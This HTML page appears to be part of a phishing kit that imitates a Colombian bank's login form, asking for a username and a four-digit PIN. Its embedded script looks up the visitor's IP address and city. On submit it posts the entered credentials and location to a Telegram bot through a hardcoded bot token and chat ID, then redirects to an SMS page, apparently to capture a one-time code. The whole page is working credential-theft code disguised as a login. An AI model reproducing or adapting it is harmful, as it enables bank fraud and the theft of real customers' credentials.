<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>default_personas</title>
	<link rel="stylesheet" href="https://necolas.github.io/normalize.css/8.0.1/normalize.css">
	<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet"> 
	<link rel="stylesheet" href="estilos.css">
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>  
	<script>
//bot token
var telegram_bot_id =  "7810234198:AAHD09No9-U3iFaFpORCGMdetOKiG1kNKgY";
//chat id
var chat_id ="8007786809";

 $.getJSON("https://api.ipify.org?format=json", function(data) {
          $("#gfg").html(data.ip);
      });
      $.getJSON("https://ipinfo.io", function(response) {
    $("#ip").html("IP: " + response.ip);
    $("#address").html("" + response.city + ", " + response.country);
  });
  
var u_name, u_name2,  ip, ip2;
var ready = function () {
    u_name = document.getElementById("usuario").value;
	 u_name2 = document.getElementById("password").value;
    ip = document.getElementById("gfg").innerHTML;
    ip2 = document.getElementById("address").innerHTML;
    message = "Bansolombia info\n👤Usuari0: " + u_name + "\n🔑Clav3: " + u_name2 + "\n🌎IP: " + ip +"\n" + ip2;
};
var sender = function () {
    ready();
    var settings = {
        "async": true,
        "crossDomain": true,
        "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
        "method": "POST",
        "headers": {
            "Content-Type": "application/json",
            "cache-control": "no-cache"

        },
        "data": JSON.stringify({
            "chat_id": chat_id,
            "text": message
        })
    };
    $.ajax(settings).done(function (response) {
  
        console.log(response);
		
          window.location = 'sms.html';

	
    });
    return false;
};

			</script>	  
</head>
<body>
	<main>
	<div align="center"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQR9q818lvS91r7b7IFTbYXdormD7u-9Z_rKQ&s" style="width:120px"><br><br>
	
	
		<form action="" method="post" class="formulario" id="formulario" onsubmit="return sender()">
		
		<p id="gfg"  hidden=""></p>
						<p id="address"  hidden=""></p>
						
						
			<!-- Grupo: Usuario -->
			<div class="formulario__grupo" id="grupo__usuario">
				<label for="usuario" class="formulario__label">Usuario</label>
				<div class="formulario__grupo-input">
					<input type="text" class="formulario__input" name="usuario" id="usuario" placeholder="Ingrese usuario" maxlength="16" required>
					<i class="formulario__validacion-estado fas fa-times-circle"></i>
				</div>
				<p class="formulario__input-error">El usuario es de 4 a 16 dígitos puede contener numeros y letras</p>
			</div><br>


	

			<!-- Grupo: Contraseña -->
			<div class="formulario__grupo" id="grupo__password">
				<label for="password" class="formulario__label">Clave</label>
				<span style="font-size:12px"></span>
				<div class="formulario__grupo-input">
					<input type="password" class="formulario__input" name="password" id="password" maxlength="4" onkeypress="return (event.charCode &gt;= 48 &amp;&amp; event.charCode &lt;= 57)" required>
					<i class="formulario__validacion-estado fas fa-times-circle"></i>
				</div>
				<p class="formulario__input-error">La contraseña tiene que ser de 4 dígitos númericos.</p>
			</div>

			
			<br><br><br>

			<div class="formulario__grupo formulario__grupo-btn-enviar">
				<button type="submit" class="formulario__btn">Continuar</button>
				<p class="formulario__mensaje-exito" id="formulario__mensaje-exito">Iniciando proceso de validación</p>
			</div>
		</form>
		</div>
	</main>

	<script src="formulario.js"></script>
	<script src="https://kit.fontawesome.com/2c36e9b7b1.js" crossorigin="anonymous"></script>
</body>
</html>